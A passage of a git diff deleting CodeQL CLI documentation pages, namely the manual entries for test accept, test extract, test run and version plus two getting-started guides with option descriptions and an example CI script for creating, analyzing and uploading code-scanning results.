--help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/test-accept.md b/content/code-security/codeql-cli/codeql-cli-manual/test-accept.md deleted file mode 100644 index 9e16ecd6501e..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/test-accept.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: test accept -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Accept results of failing unit tests. -redirect_from: - - /code-security/codeql-cli/manual/test-accept ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql test accept <options>... -- <test|dir>... -``` - -## Description - -Accept results of failing unit tests. - -This is a convenience command that renames the `.actual` files left by -[codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run) for failing tests into `.expected`, such that future runs on the tests that give the -same output will be considered to pass. What it does can also be -achieved by ordinary file manipulation, but you may find its syntax more -useful for this special case. - -The command-line arguments specify one or more _tests_ -- that is, -`.ql(ref)` files -- and the command automatically derives the names of -the `.actual` files from them. Any test that doesn't have an `.actual` -file will be silently ignored, which makes it easy to accept just the -results of _failing_ tests from a previous run. - -## Options - -### Primary Options - -#### `<test|dir>...` - -Each argument is one of: - -* A `.ql` or `.qlref` file that defines a test to run. -* A directory which will be searched recursively for tests to run. - -#### `--slice=<N/M>` - -\[Advanced] Divide the test cases into _M_ roughly equal-sized slices -and process only the _N_th of them. This can be used for manual -parallelization of the testing process. - -#### `--[no-]strict-test-discovery` - -\[Advanced] Only use queries that can be strongly identified as tests. -This mode tries to distinguish between `.ql` files that define unit -tests and `.ql` files that are meant to be useful queries. This option -is used by tools, such as IDEs, that need to identify all unit tests in -a directory tree without depending on previous knowledge of how the -files in it are arranged. - -Within a QL pack whose `qlpack.yml` declares a `tests` directory, all -`.ql` files in that directory are considered tests, and `.ql` files -outside it are ignored. In a QL pack that doesn't declare a `tests` -directory, a `.ql` file is identified as a test only if it has a -corresponding `.expected` file. - -For consistency, `.qlref` files are limited by the same rules as `.ql` -files even though a `.qlref` file cannot really be a non-test. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/test-extract.md b/content/code-security/codeql-cli/codeql-cli-manual/test-extract.md deleted file mode 100644 index 71fdf1fdc4a5..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/test-extract.md +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: test extract -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Build a dataset for a test directory.' -redirect_from: - - /code-security/codeql-cli/manual/test-extract ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql test extract [--source-root=<dir>] <options>... -- <testDirectory> -``` - -## Description - -\[Plumbing] Build a dataset for a test directory. - -Build a database for a specified test directory, without actually -running any test queries. Outputs the path to the raw QL dataset to -execute test queries against. - -## Options - -### Primary Options - -#### `<testDirectory>` - -\[Mandatory] The path to the test directory. - -#### `--database=<dir>` - -Override the location of the database being created. By default it will -be a subdirectory whose name is derived from the name of the test -directory itself with '.testproj' appended. - -#### `-s, --source-root=<dir>` - -\[Advanced] The root source code directory, if different from the test -directory. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which extractor packs may be found. The -directories can either be the extractor packs themselves or directories -that contain extractors as immediate subdirectories. - -If the path contains multiple directory trees, their order defines -precedence between them: if the target language is matched in more than -one of the directory trees, the one given first wins. - -The extractors bundled with the CodeQL toolchain itself will always be -found, but if you need to use separately distributed extractors you need -to give this option (or, better yet, set up `--search-path` in a -per-user configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--cleanup` - -Remove the test database instead of creating it. - -#### `--[no-]show-extractor-output` - -\[Advanced] Show the output from extractor scripts that create test -databases. This can be useful while developing or editing test cases. -Beware that it can cause duplicated or malformed output if you use this -with multiple threads! - -#### `--[no-]check-undefined-labels` - -\[Advanced] Report errors for undefined labels. - -#### `--[no-]check-unused-labels` - -\[Advanced] Report errors for unused labels. - -#### `--[no-]check-repeated-labels` - -\[Advanced] Report errors for repeated labels. - -#### `--[no-]check-redefined-labels` - -\[Advanced] Report errors for redefined labels. - -#### `--[no-]check-use-before-definition` - -\[Advanced] Report errors for labels used before they're defined. - -#### `--[no-]fail-on-trap-errors` - -\[Advanced] Exit non-zero if an error occurs during trap import. - -#### `--[no-]include-location-in-star` - -\[Advanced] Construct entity IDs that encode the location in the TRAP -file they came from. Can be useful for debugging of TRAP generators, but -takes up a lot of space in the dataset. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/test-run.md b/content/code-security/codeql-cli/codeql-cli-manual/test-run.md deleted file mode 100644 index 2b60f2015452..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/test-run.md +++ /dev/null @@ -1,389 +0,0 @@ ---- -title: test run -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Run unit tests for QL queries. -redirect_from: - - /code-security/codeql-cli/manual/test-run ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql test run [--threads=<num>] [--ram=<MB>] <options>... -- <test|dir>... -``` - -## Description - -Run unit tests for QL queries. - -## Options - -### Primary Options - -#### `<test|dir>...` - -Each argument is one of: - -* A `.ql` or `.qlref` file that defines a test to run. -* A directory which will be searched recursively for tests to run. - -#### `--failing-exitcode=<code>` - -\[Advanced] Set the exit code to produce if any failures are -encountered. Usually 1, but tooling that parses the output may find it -useful to set it to 0. - -#### `--format=<fmt>` - -Select output format. Possible choices: - -`text` _(default)_: A human-readable textual rendering. - -`json`: A streamed JSON array of test result objects. - -`betterjson`: A streamed JSON array of event objects. - -`jsonz`: A stream of zero-terminated JSON test result objects. - -`betterjsonz`: A stream of zero-terminated JSON event objects. - -For the `betterjson` and `betterjsonz` formats, each event has a `type` -property specifying the type of the event. New event types may be added -in the future, so consumers should ignore any event with an unrecognized -`kind` property. - -#### `--[no-]keep-databases` - -\[Advanced] Preserve the databases extracted to run the test queries, -even where all tests in a directory pass. (The database will always be -left present when there are tests that _fail_). - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps -when compiling test queries. - -#### `--[no-]learn` - -\[Advanced] When a test produces unexpected output, instead of failing -it, update its `.expected` file to match the actual output, such that it -passes. Tests can still fail in this mode, for example if creation of a -test database to query does not succeed. - -#### `--consistency-queries=<dir>` - -\[Advanced] A directory with consistency queries that will be run for -each test database. These queries should not produce any output (except -when they find a problem) unless the test directory includes a -`CONSISTENCY` subdirectory with a `.expected` file. This is mostly -useful for testing extractors. - -#### `--[no-]check-databases` - -\[Advanced] Run -[codeql dataset check](/code-security/codeql-cli/codeql-cli-manual/dataset-check) over each test database created and report a failure if it detects inconsistencies. This is useful when testing extractors. If the check is (temporarily!) expected to fail for a particular database, place a `DB-CHECK.expected` file in the test directory. - -#### `--[no-]show-extractor-output` - -\[Advanced] Show the output from extractor scripts that create test -databases. This can be useful while developing or editing test cases. -Beware that it can cause duplicated or malformed output if you use this -with multiple threads! - -#### `-M, --ram=<MB>` - -Set total amount of RAM the test runner should be allowed to use. - -#### `--slice=<N/M>` - -\[Advanced] Divide the test cases into _M_ roughly equal-sized slices -and process only the _N_th of them. This can be used for manual -parallelization of the testing process. - -#### `--[no-]strict-test-discovery` - -\[Advanced] Only use queries that can be strongly identified as tests. -This mode tries to distinguish between `.ql` files that define unit -tests and `.ql` files that are meant to be useful queries. This option -is used by tools, such as IDEs, that need to identify all unit tests in -a directory tree without depending on previous knowledge of how the -files in it are arranged. - -Within a QL pack whose `qlpack.yml` declares a `tests` directory, all -`.ql` files in that directory are considered tests, and `.ql` files -outside it are ignored. In a QL pack that doesn't declare a `tests` -directory, a `.ql` file is identified as a test only if it has a -corresponding `.expected` file. - -For consistency, `.qlref` files are limited by the same rules as `.ql` -files even though a `.qlref` file cannot really be a non-test. - -### Options to find libraries and extractors used by the tests - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Options to control query compilation - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -### Options that control the evaluation of test queries - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options for checking imported TRAP - -#### `--[no-]check-undefined-labels` - -\[Advanced] Report errors for undefined labels. - -#### `--[no-]check-unused-labels` - -\[Advanced] Report errors for unused labels. - -#### `--[no-]check-repeated-labels` - -\[Advanced] Report errors for repeated labels. - -#### `--[no-]check-redefined-labels` - -\[Advanced] Report errors for redefined labels. - -#### `--[no-]check-use-before-definition` - -\[Advanced] Report errors for labels used before they're defined. - -#### `--[no-]fail-on-trap-errors` - -\[Advanced] Exit non-zero if an error occurs during trap import. - -#### `--[no-]include-location-in-star` - -\[Advanced] Construct entity IDs that encode the location in the TRAP -file they came from. Can be useful for debugging of TRAP generators, but -takes up a lot of space in the dataset. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/version.md b/content/code-security/codeql-cli/codeql-cli-manual/version.md deleted file mode 100644 index 65db5b5465cf..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/version.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: version -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Show the version of the CodeQL toolchain. -redirect_from: - - /code-security/codeql-cli/manual/version ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql version <options>... -``` - -## Description - -Show the version of the CodeQL toolchain. - -## Options - -### Primary Options - -#### `--format=<fmt>` - -Select output format. Choices include `text` _(default)_ ,`terse`, and -`json`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli.md deleted file mode 100644 index 0ea0c8df55f5..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: About the CodeQL CLI -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} processes locally on software projects or to generate {% data variables.product.prodname_code_scanning %} results for upload to {% data variables.product.github %}.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/about-the-codeql-cli - - /code-security/codeql-cli/using-the-codeql-cli/about-the-codeql-cli - - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system - - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-code-scanning-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-codeql-code-scanning-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-code-scanning-in-your-ci-system - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system ---- - -Software developers and security researchers can secure their code -using {% data variables.product.prodname_codeql %} analysis. For more information about {% data variables.product.prodname_codeql %}, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql). - -{% data reusables.code-scanning.what-is-codeql-cli %} - -You can use the {% data variables.product.prodname_codeql_cli %} to: - -* Run {% data variables.product.prodname_codeql %} analyses using queries provided by {% data variables.product.prodname_dotcom %} engineers and the open source community -* Generate code scanning alerts that you can upload to display in {% data variables.product.github %} -* Create {% data variables.product.prodname_codeql %} databases to use in the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension. -* Develop and test custom {% data variables.product.prodname_codeql %} queries to use in your own analyses - -The {% data variables.product.prodname_codeql_cli %} can analyze: - -* Dynamic languages, for example, JavaScript and Python. -* Compiled languages, for example, {% data variables.code-scanning.compiled_languages %} -* Codebases written in a mixture of languages. - -For information about setting up the {% data variables.product.prodname_codeql_cli %}, see -[AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). - -## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} - -You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For an overview of using code scanning with external CI systems, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql). - -Alternatively, you can use {% data variables.product.prodname_actions %} or Azure DevOps pipelines to scan code using the {% data variables.product.prodname_codeql_cli %}. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) or [Configure {% data variables.product.prodname_ghas_azdo %}](https://learn.microsoft.com/en-us/azure/devops/repos/security/configure-github-advanced-security-features) in Microsoft Learn. - -For an overview of all the options for using {% data variables.product.prodname_codeql %} analysis for code scanning, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). - -{% data reusables.code-scanning.licensing-note %} - -## About generating code scanning results with the {% data variables.product.prodname_codeql_cli %} - -If you choose to run the {% data variables.product.prodname_codeql_cli %} directly, you first have to install the {% data variables.product.prodname_codeql_cli %} locally. If you are planning to use the {% data variables.product.prodname_codeql_cli %} with an external CI system, you need to make the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). - -Once the {% data variables.product.prodname_codeql_cli %} is set up, you can use three different commands to generate results and upload them to {% data variables.product.github %}: - -1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis). -1. `database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). -1. `github upload-results` to upload the resulting SARIF files to {% data variables.product.github %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github). - -{% data reusables.code-scanning.upload-sarif-ghas %} - -### Example CI configuration for {% data variables.product.prodname_codeql %} analysis - -This is an example of the full series of commands for the {% data variables.product.prodname_codeql_cli %} that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.github %}. - -```shell -# Create CodeQL databases for Java and Python in the 'codeql-dbs' directory -# Call the normal build script for the codebase: 'myBuildScript' - -codeql database create codeql-dbs --source-root=src \ - --db-cluster --language=java,python --command=./myBuildScript - -# Analyze the CodeQL database for Java, 'codeql-dbs/java' -# Tag the data as 'java' results and store in: 'java-results.sarif' - -codeql database analyze codeql-dbs/java java-code-scanning.qls \ - --format=sarif-latest --sarif-category=java --output=java-results.sarif - -# Analyze the CodeQL database for Python, 'codeql-dbs/python' -# Tag the data as 'python' results and store in: 'python-results.sarif' - -codeql database analyze codeql-dbs/python python-code-scanning.qls \ - --format=sarif-latest --sarif-category=python --output=python-results.sarif - -# Upload the SARIF file with the Java results: 'java-results.sarif' -# The {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication -# with {% data variables.product.company_short %}'s REST API is available in the `GITHUB_TOKEN` environment variable. - -codeql github upload-results \ - --repository=my-org/example-repo \ - --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ - --sarif=java-results.sarif - -# Upload the SARIF file with the Python results: 'python-results.sarif' - -codeql github upload-results \ - --repository=my-org/example-repo \ - --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ - --sarif=python-results.sarif -``` - -{% data reusables.code-scanning.codeql-license %} diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries.md deleted file mode 100644 index d93491335667..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Analyzing your code with CodeQL queries -intro: 'You can run queries against a {% data variables.product.prodname_codeql %} database extracted from a codebase.' -product: '{% data reusables.gated-features.codeql %}' -shortTitle: Analyzing code -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/analyzing-databases-with-the-codeql-cli - - /code-security/codeql-cli/using-the-codeql-cli/analyzing-databases-with-the-codeql-cli ---- - -## About analyzing databases with the {% data variables.product.prodname_codeql_cli %} - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -To analyze a codebase, you run queries against a {% data variables.product.prodname_codeql %} database extracted from the code. {% data variables.product.prodname_codeql %} analyses produce results that can be uploaded to {% data variables.product.github %} to generate code scanning alerts. - -## Prerequisites - -Before starting an analysis you must: - -* [Set up the {% data variables.product.prodname_codeql_cli %}](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli) to run commands locally. -* [Create a {% data variables.product.prodname_codeql %} database](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis) for the source code you want to analyze. - -The simplest way to run `codeql database analyze` is using the standard queries included in the {% data variables.product.prodname_codeql_cli %} bundle. - -## Running `codeql database analyze` - -When you run `database analyze`, it: - -1. Optionally downloads any referenced {% data variables.product.prodname_codeql %} packages that are not available locally. -1. Executes one or more query files, by running them over a {% data variables.product.prodname_codeql %} database. -1. Interprets the results, based on certain query metadata, so that alerts can be -displayed in the correct location in the source code. -1. Reports the results of any diagnostic and summary queries to standard output. - -You can analyze a database by running the following command: - -```shell -codeql database analyze <database> --format=<format> --output=<output> <query-specifiers>... -``` - -> [!NOTE] -> If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.github %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. -> -> ```shell -> codeql database analyze <database> --format=<format> \ -> --sarif-category=<language-specifier> --output=<output> \ -> <packs,queries> -> ``` - -You must specify `<database>`, `--format`, and `--output`. You can specify additional options depending on what analysis you want to do. - -| Option | Required | Usage | -|--------|:--------:|-----| -| `<database>` | {% octicon "check" aria-label="Required" %} | Specify the path for the directory that contains the {% 